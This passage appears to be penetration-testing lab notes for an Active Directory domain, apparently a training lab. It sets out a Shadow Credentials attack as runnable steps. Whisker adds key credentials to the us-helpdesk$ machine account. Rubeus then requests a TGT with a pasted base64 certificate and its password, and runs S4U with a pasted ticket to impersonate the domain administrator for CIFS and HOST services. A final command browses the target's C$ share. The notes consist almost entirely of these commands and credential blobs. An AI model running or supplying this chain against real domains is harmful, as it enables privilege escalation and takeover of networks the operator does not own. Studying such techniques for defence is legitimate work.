• Add the Shadow Credentials

Whisker.exe add /target:us-helpdesk$

• Request the TGT by leveraging the certificate.

Rubeus.exe asktgt /user:us-helpdesk$ /certificate:MIIJ2AIBAzCCCZQGCSqGSIb3DQEHAaCCCYUEggmBMIIJfTCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAh6fQCMUskVDwICB9AEggTYa3R2/CvVALCi/DQEe7kd8GQKsBytA9lHgpub0RtBy5426REndBDI4Iek8CMw1R2K0JNEYDKV0A+2yUDRvzokauzvPXcNlWodsO1yZCgzWdyOFCIbGfSxEpSgAfDU7wM2ujNBGTGoooADKZkdSvd3RuiJ3wUMjXaTlqKIyUXQlDMGbq55n1rgPyMoLvB9KjESuN/u4kZLThbxqKXSeivPOIBouv7xT4nj2EKGi9zyWI2NIU2n0YMtI0DzO7+odlVOzOYhYluggzL5GF5S1OEavxS35cqBQzSsrbjli6voFGVN/Z+Rp39eRpqe6PAjevOeu6ovR/fXVQeywu28zs4ctLK8/ys4hnI/FI2Y2YD3KoIcqEivopkNNoxS9YuAlaH21f5AIQlHwb5CNHmsI48qPs+8dlwkE4TFYG7qYhqZVrEgSbO6G7+X/68/aeTGEwrJPzA6E5QbIV2pWYpcebf+YFHNuxFoZy3qn7YWDDhdwFFLUiW5tB9JbG0tjiRUE4Q07Jfj1/ZILfmVf6L35ovFblfvrUG0UMb+IPtMuHPQPRzMatd+KqMYaTCR71Y4EBFnbZBahighJKdc37H0O7zQl1tG2RFZunO1gvJiZ9e9KhD4ZMrchoPCPILbBozj2zW7pEDDh0FW2NIBG4h8uN+CtUfM2RcSpFGyg6z149ODNTNNtVIx2k5tphrgu5WkABVD22d0WnQq68dUHnz7pvZjL1Vg0CPr2N5EikiOkkx4f0dbsV+Sk5nsRUl+/NF6phcf0AgL7DLfg2FQpQeRnrV4NrEyAhfwqQ3fiVLpGxFCCOauSfjc7opRPBD+kDcMbnNT4BVSycdZVXM/rFAbXXcOezaRRHFTGX+hkRCjtRWqwz16/ws5fU/jhmmOaIkVWGPwbkm6q6Ox1iW2dqpjk636KNnXwN9mM4QK8wFm1IIPbylgemh84Sd2e1SM6lvxAiBp1XYfQLv7Ir2GGi42nUtsBuQskbVfmARho10BdHhAqOOyEPmSZgco8PQp6eLLxjLYzltubOiTup6z5boUnmuD/+hu05n3udKSLuMAzfpKk6/7PY51ynSWnT0172Pq/gva6rGHO8NOTos3H27jVXg3Gq/RoaLPnz5rrScwfkwDbuBnkspudymybRNVpcoxzDCTBQyNsUPTrlIAV6OpdJEYPT2FUj0jmmMlLiz+vkPCPgYOcJI8ALc2oeUSWHxIFV32UmZ8GldG1aGGUeJqk5bh386F4pUFi0UN0zizMmgWwXLPU+9umQWu88Pv8/cyRzonvE8r0e8PrqO+sagbqFR3MXGQo9Qk740rKzNSFpTDUI2eTECavNLNHM8ag76w9zaGu7LXPVYrneuG1y5OD57UlBAd8ePqgMtro4yrjgf6f0+gnovYnKhNwn1p8jE0zGqksUSbAjm3/A51Ou2eoQ8HLKPWrMgsHo5RU2RvQRATi38WMxTS9WhyE5zLkmSleeDgOOrnJ45pVoSrjk5UReqMf0EsmL4JJ9xnaEwQkyktBAUiF7YUUfR8QnQibg1qTd/gZP2elOzg7zg66nu+ys8L752CE/eEkItMIRJOMBCiXsFQPHYAxwYKviEDEYTZ5qWmF+ycFz0JQ4UW/8x3ApvddmGL98rURxHjWlGMQBM/9oxbvUwI1P5BhDGB6TATBgkqhkiG9w0BCRUxBgQEAQAAADBXBgkqhkiG9w0BCRQxSh5IADAAYQBlADgANQA4ADUAZgAtADEAZgBlADYALQA0AGEAYwBiAC0AYgBmAGYAZgAtAGIAMwA5AGQANAA3ADMANwBmADMAZQA0MHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIDXwYJKoZIhvcNAQcGoIIDUDCCA0wCAQAwggNFBgkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBAzAOBAiB0g1eisu5dAICB9CAggMYoe4kA5GXHuLu4tlI7PF3FWTRgIIPS6c28SaCABMuC6v9H5ijTXJYiqJ9DATQQsaXQvP6djyfkUa7mGgF4T2DtPw8nf7ror1oJmMRoJSE27f3MhH3Dtma8gUfbGwBx++p1zuJkCq3OjMflc+tgf8mwjlCi8IEEVFF5GRCA0IVKlnwej0jr8nfTbxcCJKcuu+g0MGSzmKGIkJB5sPgjmLxXM59n8Wp+OdaBCgi1Agb1ZrEACrbi0FdWzFm/5c+s3z7tfB7t7s+uYf6kD8xa+q0wKqsoVBXRSvcbJTbEKDbs1zgX8cYdV3KwzpNz/70jDb5kchlDedhvz0snbFzEqPuxfVFpuqYnVIVa1BzjkPK80oqSpCEUIJLfe52l5OaZjGjjMJ9+09NwIkMi6ffDbewSBY7C0Xa0fOejmYKkVgyZl0H2rcZjpfTzZzYn6ORUm2E2/AohaL8PRDAS64wsZFOJJCfcKkdLKImUVMbfsimJpf2a9FQF5ZbOORi5Q4dH9Xz5h6oGB2ziv45ZleUmuAQFVBksUAqVRVlKG/P3kPNl4BPzSzeqeWmNb1kNTMHEGFhEaxmt6JeWUkuwzPEW0rOrR4qDBNyK5PLnFbby5+uqYcIP+8Igj8CM/S65Bb2nKXOYdOP817NvGJDj2M69dfaHjoarejIifjDWhETzs4Oy5GhIFl9+Z+xIgBvm0a5C1n8HjpviveENFuCuajW1xZE9udLYEu+jI0Wx86O78CV0DYi9MKuL7VbwPCgkafdBDzxZ6h5gafeklrxTJwNTepps+qE1IaQti0uGjngYwJbmS1+ma//wYKQLCBZOnk2NZMhYKM9hvMPsELPXPb76RdDm2UOyLoP3lwIcjV2skYJXoKSgOyPTgvjen8bV2agt4QuxkSsHMZ1cmY9lNHHZ6Zb4KdothXhip//zqulKZWYk2JHDRBvnXT2bq4zZeln9BStBeUljujPZVxIXAdlpYyer/KWvoojgThGi6sXhemgiJXJQxEUYjHfqEHv3+CNJXcOhCZAqj4bXvxudl01pK32tDzFgo0CvTNIMDswHzAHBgUrDgMCGgQUXzaLOMe/sUyY1FjJiXhhd6fOlqAEFB5WBc8P0wBJaS1lyUO8tOqyjmWcAgIH0A== /password:"rRqSaiE8y7pKMLVS" /domain:us.techcorp.local /dc:US-DC.us.techcorp.local /getcredentials /show

• Request and Inject the TGS by impersonating the user

Rubeus.exe s4u /dc:us-dc.us.techcorp.local /ticket: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 /impersonateuser:administrator /ptt /self /altservice:cifs/us-helpdesk

dir \\us-helpdesk\c$

• Request and Inject the TGS by impersonating the user (HOST)

Rubeus.exe s4u /dc:us-dc.us.techcorp.local /ticket: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 /impersonateuser:administrator /ptt /self /altservice:HOST/us-helpdesk